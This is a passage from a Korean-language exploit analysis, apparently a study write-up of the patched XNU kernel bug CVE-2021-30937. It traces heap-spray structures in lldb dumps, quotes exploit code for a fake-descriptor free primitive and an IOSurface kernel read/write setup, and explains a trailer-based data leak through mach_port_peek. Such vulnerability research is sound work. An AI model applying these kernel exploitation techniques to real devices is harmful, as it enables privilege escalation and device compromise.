*(ipc_port*)0xfffffe15117b0000\n(ipc_port) {\n  ip_object = (io_bits = 0x80000000, io_references = 0x00000002)\n   = {\n     = {\n      ip_waitq_type = 0x00000001\n      ip_waitq_fifo = 0x00000001\n      ...\n    }\n    ip_waitq = {\n       = {\n        waitq_type = 0x00000001\n        waitq_fifo = 0x00000001\n        ...\n      }\n      waitq_interlock = {\n         ={...}\n        lck_value = 0x04040144\n      }\n      ...\n    }\n  }\n  ip_messages = {\n    imq_messages = {\n      ikmq_base = **0xfffffe1511711d00**\n    }\n    imq_seqno = 0x00000000\n    imq_receiver_name = 0x00002803\n    imq_msgcount = 0x0001\n    imq_qlimit = 0x0005\n    ...\n  }\n   = {\n    ip_receiver = (actual=0xfffffe1510fcc080) 0x169e7e1510fcc080\n    ip_destination = (actual=0xfffffe1510fcc080) 0x169e7e1510fcc080\n    ip_timestamp = 0x10fcc080\n  }\n  ...\n  ip_context = 0x0000000000000000\n  ip_impcount = 0x00000000\n  ip_mscount = 0x00000002\n  ip_srights = 0x00000002\n  ip_sorights = 0x00000000\n   = {\n    ip_kolabel = NULL\n    ip_splabel = (actual=0x0) 0x0000000000000000\n  }\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x *(ipc_kmsg*)0xfffffe1511711d00\n(ipc_kmsg) {\n  ikm_next = 0xfffffe1511711d00\n  ikm_prev = 0xfffffe1511711d00\n   = {\n    ikm_prealloc = NULL\n    ikm_data = (actual=0x0) 0x0000000000000000\n  }\n  ikm_header = (actual=0xfffffe1511711d60) 0xb6a0fe1511711d60\n  ikm_voucher_port = NULL\n  ikm_importance = NULL\n  ikm_inheritance = {\n    next = NULL\n    prev = NULL\n  }\n  ikm_turnstile = NULL\n  ikm_size = 0x000000a0\n  ikm_ppriority = 0x00000000\n  ikm_signature = 0x6f9359dc00000000\n  ikm_flags = 0x0000\n  ikm_qos_override = 0x00\n  ikm_voucher_type = 0x00000000\n  ikm_inline_data = {}\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x *(mach_msg_header_t*)0xfffffe1511711d60\n(mach_msg_header_t) {\n  msgh_bits = 0x80000011\n  msgh_size = 0x00000058\n  msgh_remote_port = 0xfffffe15117b0000\n  msgh_local_port = NULL\n  msgh_voucher_port = 0x00000000\n  msgh_id = 0x00000000\n}\n<\/code><\/pre>\n<p><code>mach_msg_header_t<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\uc5d0 + 0x24 \uc624\ud504\uc14b\uc744 \ub354\ud574 \uc77d\uc5c8\uc744\ub54c \uc5b4\ub5a4 \ud55c \ucee4\ub110 \uc8fc\uc18c\uac00 \ubcf4\uc774\ub294\ub370,\n<strong>\ud574\ub2f9 \uc8fc\uc18c\uac00 \ubc14\ub85c \uc2a4\ud504\ub808\uc774\uc5d0 \uc758\ud574 KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c \ud560\ub2f9\ub41c \ucee4\ub110 \uc8fc\uc18c,\n\uc989 OOL \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130 \ubc30\uc5f4\uc758 \uc8fc\uc18c\uc774\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">(lldb) x\/gx 0xfffffe1511711d60+0x24\n0xfffffe1511711d84: 0xfffffe2286e88000\n<\/code><\/pre>\n<p>\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc758 <code>spray_default_kalloc_ool_ports_with_data_kalloc_size<\/code> \ud568\uc218 \uc911 <code>msg-&gt;desc.count<\/code>\ub97c <code>0x4000\/8<\/code>\ub85c \uc9c0\uc815\ud588\uae30 \ub54c\ubb38\uc5d0 <strong>ool \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130 \ubc30\uc5f4<\/strong>\uc744 \uc0dd\uc131\ud560\ub54c \ud560\ub2f9\ub41c \ud799\ud06c\uae30\ub294 0x4000\uc774\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 \uadf8 \ubc30\uc5f4\uc5d0\ub294 \ub610 \ud558\ub098\uc758 \ucee4\ub110 \uc8fc\uc18c\uac00 \ubcf4\uc778\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) x\/800gx 0xfffffe2286e88000 --force\n0xfffffe2286e88000: 0xfffffe15107d38e0 0x0000000000000000\n...\n<\/code><\/pre>\n<p>\ud574\ub2f9 \ucee4\ub110 \uc8fc\uc18c\ub294 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc758 <code>spray_default_kalloc_ool_ports_with_data_kalloc_size<\/code> \ud568\uc218 \uc911 <code>msg-&gt;desc.address<\/code> \ucf54\ub4dc\uc5d0\uc11c \uc9c0\uc815\ub418\uc5c8\ub358 <code>ipc_port<\/code> \ud3ec\ud2b8 \uc8fc\uc18c\ub85c\uc368 OOL \ud3ec\ud2b8 \uc8fc\uc18c\uc774\ub2e4. (\uc989 <code>contained_port[0]<\/code>\uc758 \ucee4\ub110 \ud3ec\ud2b8 \uc8fc\uc18c\uc640 \uac19\uc74c)<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x *(ipc_port_t)0xfffffe15107d38e0\n(ipc_port) {\n  ip_object = (io_bits = 0x80000000, io_references = 0x00000002)\n   = {\n     = {\n      ip_waitq_type = 0x00000001\n      ip_waitq_fifo = 0x00000001\n      ...\n    ip_waitq = {\n       = {\n        waitq_type = 0x00000001\n        waitq_fifo = 0x00000001\n        ...\n      }\n      waitq_interlock = {\n         ={...}\n        lck_value = 0x02020144\n      }\n      ...\n    }\n  }\n  ip_messages = {\n    imq_messages = {\n      ikmq_base = NULL\n    }\n    imq_seqno = 0x00000000\n    imq_receiver_name = 0x00001607\n    imq_msgcount = 0x0000\n    imq_qlimit = 0x0005\n    imq_context = 0x00000000\n    ...\n  }\n   = {\n    ip_receiver = (actual=0xfffffe1510fcc080) 0x448c7e1510fcc080\n    ip_destination = (actual=0xfffffe1510fcc080) 0x448c7e1510fcc080\n    ip_timestamp = 0x10fcc080\n  }\n  ...\n  ip_context = 0x0000000000000000\n  ip_impcount = 0x00000000\n  ip_mscount = 0x00000001\n  ip_srights = 0x00000002\n  ip_sorights = 0x00000000\n   = {\n    ip_kolabel = NULL\n    ip_splabel = (actual=0x0) 0x0000000000000000\n  }\n}\n<\/code><\/pre>\n<h3>\uc2a4\ud504\ub808\uc774\ub41c kmsg \uc8fc\uc18c \uc54c\uc544\ub0b4\uae30 (KHEAP_DATA_BUFFERS)<\/h3>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c <code>spray_data_kalloc_kmsg_single<\/code> \ud568\uc218 \uc5ed\uc2dc,\n\ud55c\ubc88 \uc218\ud589\ud588\uc744\ub584\n\uc544\ub798\uc640 \uac19\uc774 \uc5ec\ub7ec \ud568\uc218\ub4e4\uc744 \uac70\uccd0 <code>ipc_kmsg_alloc<\/code>\uc5d0\uc11c \ucee4\ub110\ud799\uc744 \ud560\ub2f9\ud558\ub824\ub294 \uac83\uc744 \uc54c \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) bt\n        * thread #2, name = 'CPU1', stop reason = breakpoint 10.1\n          * frame #0: 0xfffffe00248f88e0 kernel.release.vmapple`kalloc_ext(kheap=0xfffffe00267ab818, req_size=16332, flags=Z_WAITOK, site=0xfffffe0026e80078) at kalloc.c:1687 [opt]\n            frame #1: 0xfffffe00248c3a18 kernel.release.vmapple`ipc_kmsg_alloc(size=16264, user_descs=&lt;unavailable&gt;, flags=&lt;unavailable&gt;) at ipc_kmsg.c:1288:10 [opt]\n            frame #2: 0xfffffe00248c41ec kernel.release.vmapple`ipc_kmsg_get_from_user(msg_addr=&lt;unavailable&gt;, size=16264, kmsgp=0xfffffe6029d5bd38) at ipc_kmsg.c:1973:9 [opt]\n            frame #3: 0xfffffe00248dc26c kernel.release.vmapple`mach_msg_overwrite_trap(args=&lt;unavailable&gt;) at mach_msg.c:349:8 [opt]\n            frame #4: 0xfffffe0024a09b2c kernel.release.vmapple`mach_syscall(state=0xfffffe15105689f0) at bsd_arm64.c:276:11 [opt]\n            frame #5: 0xfffffe0024a12e78 kernel.release.vmapple`handle_svc(state=0xfffffe15105689f0) at sleh.c:2411:3 [opt] [inlined]\n            frame #6: 0xfffffe0024a12e0c kernel.release.vmapple`sleh_synchronous(context=0xfffffe15105689f0, esr=&lt;unavailable&gt;, far=4445650944) at sleh.c:743:3 [opt]\n            frame #7: 0xfffffe00248a479c kernel.release.vmapple`fleh_synchronous + 40\n            frame #8: 0x00000001c2755954\n            frame #9: 0x000000010264df58    \/\/ called _mach_msg_send from _spray_data_kalloc_kmsg_single\n            frame #10: 0x000000010264ca2c   \/\/ called _spray_data_kalloc_kmsg_single from _exploitation_init\n            frame #11: 0x000000010264cde8   \/\/ called _exploitation_init from _exploit_get_krw_and_kernel_base\n            frame #12: 0x000000010264cee8   \/\/ called _exploit_get_krw_and_kernel_base from _main\n            frame #13: 0x00000001029cd0f4\n<\/code><\/pre>\n<p>\ucc98\uc74c \uc2a4\ud504\ub808\uc774\ud55c \ud3ec\ud2b8\uc778 <code>kheap_data_ports[0]<\/code>\ub97c \ucc38\uace0\ud558\uc5ec\n\ucee4\ub110\uc758 <code>ipc_port<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\ubd80\ud130 \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p><code>find_port(kheap_data_ports[0]) = 0xfffffe150ff41ea0<\/code><\/p>\n<p><code>ikm_header<\/code> \ub97c \ud655\uc778\ud574\ubd24\uc744\ub584 <code>msgh_size<\/code> \ud544\ub4dc\uac00 0x3f88\uc774\ubbc0\ub85c,\n\uadf8 \uc0ac\uc774\uc988\ub9cc\ud07c \ucee4\ub110 \ud560\ub2f9\uc774 \uc774\ub904\uc9c4\uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 \uc2a4\ud504\ub808\uc774\ud558\uba74\uc11c \uc0ac\uc6a9\uc790\uac00 \uc4f4 \ub370\uc774\ud130\uc778 <code>kheap_data_spray_buf<\/code>\ub294 <code>ipc_kmsg<\/code> \uad6c\uc870\uccb4 \uc911 <code>ikm_data<\/code> \ud544\ub4dc\ub97c \ud1b5\ud574 \ud655\uc778\ud560 \uc218 \uc788\uc73c\uba70, \ud574\ub2f9 \ud544\ub4dc\uc5d0 \uc801\ud78c \uc8fc\uc18c\uac00 \ubc14\ub85c <strong>\uc2a4\ud504\ub808\uc774\uc5d0 \uc758\ud574 KHEAP_DATA_BUFFERS \ud0c0\uc785\uc758 \ud560\ub2f9\ub41c kmsg \ucee4\ub110 \uc8fc\uc18c\uc774\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">\/\/ https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c#L1978\n...\n\tkmsg = ipc_kmsg_alloc(size, descriptors, IPC_KMSG_ALLOC_USER);\n\tif (kmsg == IKM_NULL) {\n\t\treturn MACH_SEND_NO_BUFFER;\n\t}\n\n\tkmsg-&gt;ikm_header-&gt;msgh_size             = size;\n...\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x *(ipc_port*)0xfffffe150ff41ea0\n(ipc_port) {\n  ip_object = (io_bits = 0x80000000, io_references = 0x00000002)\n   = {\n     = {\n      ip_waitq_type = 0x00000001\n      ip_waitq_fifo = 0x00000001\n      ip_waitq_irq = 0x00000000\n      ...\n    }\n    ip_waitq = {\n       = {\n        waitq_type = 0x00000001\n        waitq_fifo = 0x00000001\n        waitq_irq = 0x00000000\n        ...\n      }\n      waitq_interlock = {\n         ={...}\n        lck_value = 0x04040144\n      }\n      ...\n    }\n  }\n  ip_messages = {\n    imq_messages = {\n      ikmq_base = 0xfffffe1510fdb100\n    }\n    imq_seqno = 0x00000000\n    imq_receiver_name = 0x00001603\n    imq_msgcount = 0x0001\n    imq_qlimit = 0x0005\n    ...\n  }\n   = {\n    ip_receiver = (actual=0xfffffe1510dceb00) 0x7c88fe1510dceb00\n    ip_destination = (actual=0xfffffe1510dceb00) 0x7c88fe1510dceb00\n    ip_timestamp = 0x10dceb00\n  }\n  ...\n  ip_mscount = 0x00000002\n  ip_srights = 0x00000002\n  ...\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x *(ipc_kmsg*)0xfffffe1510fdb100\n(ipc_kmsg) {\n  ikm_next = 0xfffffe1510fdb100\n  ikm_prev = 0xfffffe1510fdb100\n   = {\n    ikm_prealloc = (actual=0xfffffe228790c000) 0x3cf67e228790c000\n    ikm_data = (actual=0xfffffe228790c000) 0x3cf67e228790c000\n  }\n  ikm_header = (actual=0xfffffe228790c000) 0x6efffe228790c000\n  ikm_voucher_port = nullptr\n  ikm_importance = nullptr\n  ikm_inheritance = {\n    next = nullptr\n    prev = nullptr\n  }\n  ikm_turnstile = nullptr\n  ikm_size = 0x00003fcc\n  ikm_ppriority = 0x00000000\n  ikm_signature = 0x1921770700000000\n  ikm_flags = 0x0000\n  ikm_qos_override = 0x00\n  ikm_voucher_type = 0x00000000\n  ikm_inline_data = {}\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x *(mach_msg_header_t*)0xfffffe228790c000\n(mach_msg_header_t) {\n  msgh_bits = 0x00000011\n  msgh_size = 0x00003f88\n  msgh_remote_port = 0xfffffe150ff41ea0\n  msgh_local_port = nullptr\n  msgh_voucher_port = 0x00000000\n  msgh_id = 0x00000000\n}\n<\/code><\/pre>\n<p><code>ikm_data<\/code> \ud544\ub4dc\uc758 \ucee4\ub110 \uc8fc\uc18c\uc778 0xfffffe228790c000\ub97c \ud655\uc778\ud574\ubcf4\uba74,\n\ub2e4\uc74c\uacfc \uac19\uc740 \ub370\uc774\ud130\ub85c \uad6c\uc131\ub418\uc788\ub2e4.<\/p>\n<p>&lt;+0x0020, +0x0024, +0x002c&gt;\uc5d0\ub294 <code>kheap_data_spray_buf<\/code>\ub97c \uad6c\uc131\ud560\ub584\uc5d0\n\uc784\uc758 \ud560\ub2f9\ud574\uc81c\ub97c \uc704\ud55c fake descriptor\uac00 \uc801\ud78c\uac8c \uadf8\ub300\ub85c \ubc18\uc601\ub418\uc788\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 &lt;0x0000~0x0020&gt;\uc5d0\ub294 <code>mach_msg_header_t<\/code>, \uc989 <code>ikm_header<\/code>\ud5e4\ub354 \ub370\uc774\ud130\uac00 \uc790\ub9ac\uc7a1\uace0 \uc788\ub2e4.<\/p>\n<pre><code> \/\/ fake descriptor for free primitive\n    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; \/\/ free primitive target\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; \/\/ disposition, size, etc\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) x\/2033gx 0xfffffe228790c000 --force\n0xfffffe228790c000&lt;+0x0000&gt;: 0x00003f8800000011 0xfffffe150ff41ea0\n0xfffffe228790c010&lt;+0x0010&gt;: 0x0000000000000000 0x0000000000000000\n0xfffffe228790c020&lt;+0x0020&gt;: 0x8188800000000001 0x02110000fffffe22\n0xfffffe228790c030&lt;+0x0030&gt;: 0x00000000000007f8 0x0000000000000000\n0xfffffe228790c040&lt;+0x0040&gt;: 0x0000000000000000 0x0000000000000000\n...\n0xfffffe228790ff60&lt;+0x3f60&gt;: 0x0000000000000000 0x8cffffdb00000000\n0xfffffe228790ff70&lt;+0x3f70&gt;: 0x00000000fffffe22 0x0000000000000000\n0xfffffe228790ff80&lt;+0x3f80&gt;: 0x0000000000000000\n\n(lldb) p\/x *(mach_msg_header_t*)0xfffffe228790c000\n(mach_msg_header_t) {\n  msgh_bits = 0x00000011\n  msgh_size = 0x00003f88\n  msgh_remote_port = 0xfffffe150ff41ea0\n  msgh_local_port = nullptr\n  msgh_voucher_port = 0x00000000\n  msgh_id = 0x00000000\n}\n<\/code><\/pre>\n<h2>1-5. \ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c, \uc2a4\ud504\ub808\uc774 \ucf54\ub4dc \uc0b4\ud3b4\ubcf4\uae30<\/h2>\n<p>\uc9c0\uae08\uae4c\uc9c0 \uc2a4\ud504\ub808\uc774\ub420\ub54c ool \ud3ec\ud2b8\uc5d0 \ud574\ub2f9\ub418\ub294 <code>contained_ports<\/code>,\n\uba54\uc2dc\uc9c0\ub97c \uad6c\uc131\ud558\ub294 <code>kheap_data_ports<\/code>\uc640 <code>ipc_kmsg<\/code>, <code>ikmu_data<\/code> \ub0b4\uc6a9\uc5d0 \ub300\ud574\uc11c\ub3c4 \uc0b4\ud3b4\ubd24\ub2e4.<\/p>\n<p>\uc774\ud6c4\uc5d0 <code>mach_port_request_notification<\/code> \ud568\uc218\ub97c \ud1b5\ud574\n\ud2b9\uc815 \ud3ec\ud2b8\uc5d0 \ub300\ud574 &quot;\uc774\ubca4\ud2b8(\uc54c\ub9bc)\ub97c \ubcf4\ub0b4 \ub2ec\ub77c\ub2ec\ub77c\uace0 \uc694\uccad\ud55c\ub2e4.<\/p>\n<p>\uc774\ub97c \ud14c\uba74, \u201c\ud3ec\ud2b8\uc5d0 \ub354 \uc774\uc0c1 sender\uac00 \uc5c6\uc5b4\uc84c\uc744 \ub54c \uc54c\ub824\uc918\u201d, \u201c\ud3ec\ud2b8\uac00 \ud30c\uad34\ub418\uc5c8\uc744 \ub54c \uc54c\ub824\uc918\u201d \uac19\uc740 \ucee4\ub110 \ubc1c\uc0dd(notify) \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud558\uae30 \uc704\ud574 \uc0ac\uc6a9\ub41c\ub2e4\uace0 \ud55c\ub2e4.<\/p>\n<p>\uc544\ub798 \ucf54\ub4dc\uc758 \uacbd\uc6b0, \ub354 \uc774\uc0c1 send-right\uac00 \uc5c6\uc744 \ub54c(<code>MACH_NOTIFY_NO_SENDERS<\/code>) \ucee4\ub110\uc774 <code>notif_port<\/code>\ub85c \uc54c\ub9bc \uba54\uc2dc\uc9c0\ub97c \ubcf4\ub0b4\uae30 \uc704\ud574 \uc0ac\uc6a9\ub41c\ub2e4\uace0 \ubcf4\uba74 \ub420\uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-csharp\">...\n    notif_port = port_new();\n    for (int i = 0; i &lt; PORTS_COUNT; ++i)\n    {\n        mach_port_t prev;\n        mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &amp;prev);\n        mach_port_deallocate(mach_task_self(), contained_ports[i]);\n    }\n...\n<\/code><\/pre>\n<p>\uadf8 \ub2e4\uc74c\uc5d0\ub294 \ucd94\ud6c4 IOSurface\ub97c \ud1b5\ud574 \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\ub97c \uc218\ud589\ud560 \uac83\uc774\uae30 \ub54c\ubb38\uc5d0\n\uc544\ub798 \ucf54\ub4dc\uac00 \uc218\ud589\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/\/ pre-init kernel rw\n    IOSurfaceClient_array_buf = malloc(0x4000);\n    kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000);\n    \n    free(contained_ports);\n    free(ool_ports);\n    free(kheap_data_spray_buf);\n    \n    return 0;\n}\n\n\/\/...\nvoid kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n)\n{\n    memset(buf, 0x07, n);\n\n    *(uint64_t *)(buf + 0x10 + 0x40) = kaddr + 0x10; \/\/ IOSurfaceClient-&gt;IOSurface\n    *(uint64_t *)(buf + 0x10 + 0xB0) = 1; \/\/ See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane\n    *(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; \/\/ Write destination (+0xA0 added)\n    \n    _mapped_address = kaddr;\n}\n\n<\/code><\/pre>\n<h2>2. <code>get_arb_free_holder<\/code> &#8211; race\ub97c \ud1b5\ud55c 1byte-copy \ud2b8\ub9ac\uac70<\/h2>\n<h2>2-1. Before vs After<\/h2>\n<p>\uc6b0\uc120 \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uae30 \uc804\uc5d0 \uc55e\uc11c, <code>get_arb_free_holder<\/code>\ub97c \uc218\ud589\ud558\uae30 \uc804\uacfc \uc218\ud589 \ud6c4\uc758 \ud504\ub85c\ud30c\uc77c\ub41c <code>KHEAP_DEFAULT_MAPPABLE_LOC<\/code>, <code>KHEAP_DATA_MAPPABLE_LOC<\/code> \uc8fc\uc18c\uc758 \ud799 \ub370\uc774\ud130\ub4e4\uc744 \ube44\uad50\ud574\ubcf4\uc558\ub2e4.<\/p>\n<p><code>KHEAP_DEFAULT_MAPPABLE_LOC<\/code> \uc5d0 \ud574\ub2f9\ub418\ub294 ipc \ud3ec\ud2b8\uc758 \uacbd\uc6b0:\n<code>ipc_port_t* port<\/code>, <code>ipc_kmsg* ikmq_base<\/code>, <code>mach_msg_header_t* ikm_data<\/code>, \uadf8\ub9ac\uace0 OOL \ud3ec\ud2b8(<code>contained_port<\/code>)\uc758 <code>ipc_port_t* port<\/code> \uc804\ubd80\ub2e4 \uad6c\uc870\uccb4 \ud544\ub4dc \uac12\ub4e4\uc744 \ud655\uc778\ud574\ubd24\uc744\ub54c \ubcc0\ud568\uc5c6\uc774 \uadf8\ub300\ub85c \ub611\uac19\uc774 \uc720\uc9c0\ub418\uc788\uc5c8\ub2e4.<\/p>\n<p><code>KHEAP_DATA_MAPPABLE_LOC<\/code> \uc5d0 \ud574\ub2f9\ub418\ub294 ipc \ud3ec\ud2b8\uc758 \uacbd\uc6b0:<\/p>\n<p><code>ipc_port_t* port<\/code> \ub97c \uc0b4\ud3b4\ubcf8 \uacb0\uacfc, <code>ip_waitq.waitq_interlock.lck_value<\/code> \ud544\ub4dc \uac12\uc774 \ubcc0\uacbd\ub418\uc788\ub2e4. (0x04040144 \u2192 0x05050144)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/2b160acd-d901-4396-bdc0-07d1fdade875.png\" alt=\"Screenshot 2025-11-11 at 8.17.15\u202fPM.png\"><\/p>\n<p>\uadf8\ub9ac\uace0  <code>mach_msg_header_t* ikm_data<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uba74,\n<code>msgh_bits<\/code> \ud544\ub4dc\uac12\uc5d0\uc11c \uc0c1\uc704 \uccab\ubc88\uc9f8 \ubc14\uc774\ud2b8\uac12\uc774 \ubcc0\uacbd\ub418\uc788\ub2e4. (0x00000011 \u2192 0x88000011)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-11_at_8.24.39_PM.png\" alt=\"Screenshot 2025-11-11 at 8.24.39\u202fPM.png\"><\/p>\n<p>\ub4a4\uc774\uc5b4 <code>ikm_data<\/code>\ub97c \uad6c\uc131\ud558\ub294 \ub0b4\uc6a9,\n\uc989<code>KHEAP_DATA_MAPPABLE_LOC<\/code>  \ud799\ub370\uc774\ud130\uc758 +0x3f88 \uc624\ud504\uc14b\uc744 \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>+0x3f8c \uc624\ud504\uc14b\uc5d0 \uc800\uc7a5\ub41c \ubc14\uc774\ud2b8\uac12\uc774 \ubcc0\uacbd\ub418\uc5c8\ub2e4. (0x00000000 \u2192 0x00000008)<\/p>\n<p>\uc774\ub294 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c \ub808\uc774\uc2f1\ud558\ub294 \ucf54\ub4dc \uc911  <code>port_peek_trailer_size<\/code>(kheap_data_ports[i])\uac00 8\uc778\uc9c0 \uc544\ub2cc\uc9c0 \uad6c\ubd84\ud558\ub294 \ucf54\ub4dc\uac00 \uc788\ub358\ub370, \uadf8\uac83\uacfc \uad00\ub828\uc788\uc9c0 \uc54a\uc744\uae4c \uc608\uc0c1\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-11_at_8.40.56_PM.png\" alt=\"Screenshot 2025-11-11 at 8.40.56\u202fPM.png\"><\/p>\n<h2>2-2. <code>port_peek_trailer_size<\/code><\/h2>\n<p><code>port_peek_trailer_size<\/code> \ud568\uc218\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c \ub2e4\uc74c\uacfc \uac19\uc740 \uc124\uc815\uacfc \ud568\uaf10 <code>mach_port_peek<\/code>\ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int port_peek_trailer_size(mach_port_t p)\n{\n    mach_port_seqno_t msg_seqno = 0;\n    mach_msg_size_t msg_size = 0;\n    mach_msg_id_t msg_id = 0;\n    mach_msg_trailer_t msg_trailer;\n    mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);\n    \n    mach_port_peek(mach_task_self(),\n                                  p,\n                                  MACH_RCV_TRAILER_NULL,\n                                  &amp;msg_seqno,\n                                  &amp;msg_size,\n                                  &amp;msg_id,\n                                  (mach_msg_trailer_info_t)&amp;msg_trailer,\n                                  &amp;msg_trailer_size);\n\n    return msg_trailer.msgh_trailer_size;\n}\n<\/code><\/pre>\n<h3><code>mach_port_peek<\/code><\/h3>\n<p>XNU \uc18c\uc2a4\ucf54\ub4dc\uc5d0\uc11c <code>mach_port_peek<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uba74,\n<code>max_trailer<\/code>\uc5d0\uc11c <code>trailer_infop<\/code>\ub85c \uba54\ubaa8\ub9ac \ubcf5\uc0ac\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. <code>max_trailer<\/code>\ub294 <code>ipc_mqueue_peek_locked<\/code> \ud568\uc218\ub85c\ubd80\ud130  \uac00\uc838\uc628\ub2e4.<\/p>\n<pre><code class=\"language-c\">kern_return_t\nmach_port_peek(\n\tipc_space_t                     space,\n\tmach_port_name_t                name,\n\tmach_msg_trailer_type_t         trailer_type,\n\tmach_port_seqno_t               *seqnop,\n\tmach_msg_size_t                 *msg_sizep,\n\tmach_msg_id_t                   *msg_idp,\n\tmach_msg_trailer_info_t         trailer_infop,\n\tmach_msg_type_number_t          *trailer_sizep)\n{\n\/\/...\n\n\t\/* Port locked and active *\/\n\tfound = ipc_mqueue_peek_locked(&amp;port-&gt;ip_messages, seqnop,\n\t    msg_sizep, msg_idp, &amp;max_trailer, NULL);\n\tip_mq_unlock(port);\n\t\n\t\/\/...\n\n\tmax_trailer.msgh_seqno = *seqnop;\n\tmemcpy(trailer_infop, &amp;max_trailer, *trailer_sizep);\n\n\treturn KERN_SUCCESS;\n}\n<\/code><\/pre>\n<p><code>ipc_mqueue_peek_locked<\/code> \ud568\uc218\uc5d0\uc11c <code>msg_trailerp<\/code> \ub85c \uba54\ubaa8\ub9ac \ubcf5\uc0ac\ud558\ub294 \ucf54\ub4dc\ub97c \ubcfc \uc218 \uc788\ub294\ub370,\nsource\ub294 \uae30\uc874 <code>ikm_header<\/code>\uc5d0\uc11c <code>msgh_size<\/code>\ub97c \ub354\ud55c \uacf3\ubd80\ud130 \ubcf5\uc0ac\uac00 \uc77c\uc5b4\ub09c\ub2e4.<\/p>\n<p><strong>\uc989, <code>KHEAP_DATA_MAPPABLE_LOC<\/code> \uc758 +0x3f88 \ub370\uc774\ud130\ubd80\ud130 0x44\ud06c\uae30\ub9cc\ud07c <code>msg_trailerp<\/code>\ub85c \uba54\ubaa8\ub9ac\uac00 \ubcf5\uc0ac\ub418\uba70, \uc720\uc800\ub79c\ub4dc\uc5d0\uc11c  <code>mach_port_peek<\/code>\ud568\uc218\ub85c \ud574\ub2f9 \ub370\uc774\ud130\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub294\uac83\uc774\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">unsigned\nipc_mqueue_peek_locked(ipc_mqueue_t mq,\n    mach_port_seqno_t * seqnop,\n    mach_msg_size_t * msg_sizep,\n    mach_msg_id_t * msg_idp,\n    mach_msg_max_trailer_t * msg_trailerp,\n    ipc_kmsg_t *kmsgp)\n{\n\/\/...\n\tif (msg_trailerp != NULL) {\n\t\tmemcpy(msg_trailerp,\n\t\t    (mach_msg_max_trailer_t *)((vm_offset_t)kmsg-&gt;ikm_header +\n\t\t    mach_round_msg(kmsg-&gt;ikm_header-&gt;msgh_size)),\n\t\t    sizeof(mach_msg_max_trailer_t));\n\t}\n\t\/\/...\n\treturn res;\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x *(mach_msg_mac_trailer_t*)(0xfffffe228d000000+0x3f88)\n(mach_msg_mac_trailer_t) {\n  msgh_trailer_type = 0x00000000\n  msgh_trailer_size = 0x00000000\n  msgh_seqno = 0x00000000\n  msgh_sender = {\n    val = ([0] = 0x000001f5, [1] = 